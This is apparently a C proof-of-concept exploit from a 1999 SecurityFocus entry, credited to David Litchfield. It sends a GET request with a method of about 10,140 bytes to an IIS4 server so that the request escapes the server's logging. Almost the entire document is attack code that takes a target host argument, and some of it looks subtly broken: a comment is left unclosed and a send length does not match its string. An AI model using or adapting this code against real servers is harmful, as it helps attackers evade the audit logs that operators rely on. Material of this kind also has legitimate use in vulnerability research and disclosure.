101 lines
No EOL
1.6 KiB
C
101 lines
No EOL
1.6 KiB
C
// source: https://www.securityfocus.com/bid/191/info
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An http get request against an IIS4 server will not be logged if the request is longer than 10150 bytes long.
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/* Compile with eg Visual C++ and link with wsock32.lib
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#include <stdio.h>
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#include <winsock2.h>
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#include <string.h>
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int main (int argc, char *argv[])
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{
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int snd, rcv, err, portno,a=0,b, res;
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char resp[1024];
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WORD wVersionRequested;
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WSADATA wsaData;
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struct sockaddr_in sa;
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struct hostent *he;
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SOCKET sock;
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if (argc !=2)
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{
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printf("Usage:\nc:\\>%s target_machine\n\nDavid Litchfield\n21st January
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1999\n", argv[0]);
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return 0;
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}
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wVersionRequested = MAKEWORD( 2, 0 );
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err = WSAStartup( wVersionRequested, &wsaData );
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if ( err != 0 )
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{
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printf("No winsock.dll\n");
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return 0;
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}
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if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
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{
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printf("No winsock.dll - 2nd\n");
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WSACleanup( );
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return 0;
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}
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if ((he = gethostbyname(argv[1])) == NULL)
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{
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printf("Invalid Host\n");
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return 0;
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}
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sock=socket(AF_INET,SOCK_STREAM,0);
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if (sock==INVALID_SOCKET)
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{
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printf("Invalid Socket!\n");
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return 0;
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}
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else
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{
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printf("");
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}
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sa.sin_addr.s_addr=INADDR_ANY;
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sa.sin_family=AF_INET;
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bind(sock,(struct sockaddr *)&sa,sizeof(sa));
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sa.sin_port=htons(80);
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memcpy(&sa.sin_addr,he->h_addr,he->h_length);
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if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
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{
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printf("Failed to connect!\n");
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}
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else
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{
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/* This loop creates the REQUEST_METHOD and makes it 10140 bytes long
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while (a < 10141)
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{
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snd=send(sock,"A", 1, 0);
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a ++;
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}
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snd=send(sock," /default.asp HTTP/1.0\n\n",43,0);
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rcv=recv(sock,resp,256,0);
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printf("\n%s",resp);
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rcv=recv(sock,resp,1024,0);
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printf("\n%s\n\n",resp);
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}
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closesocket(sock);
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return 0;
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}
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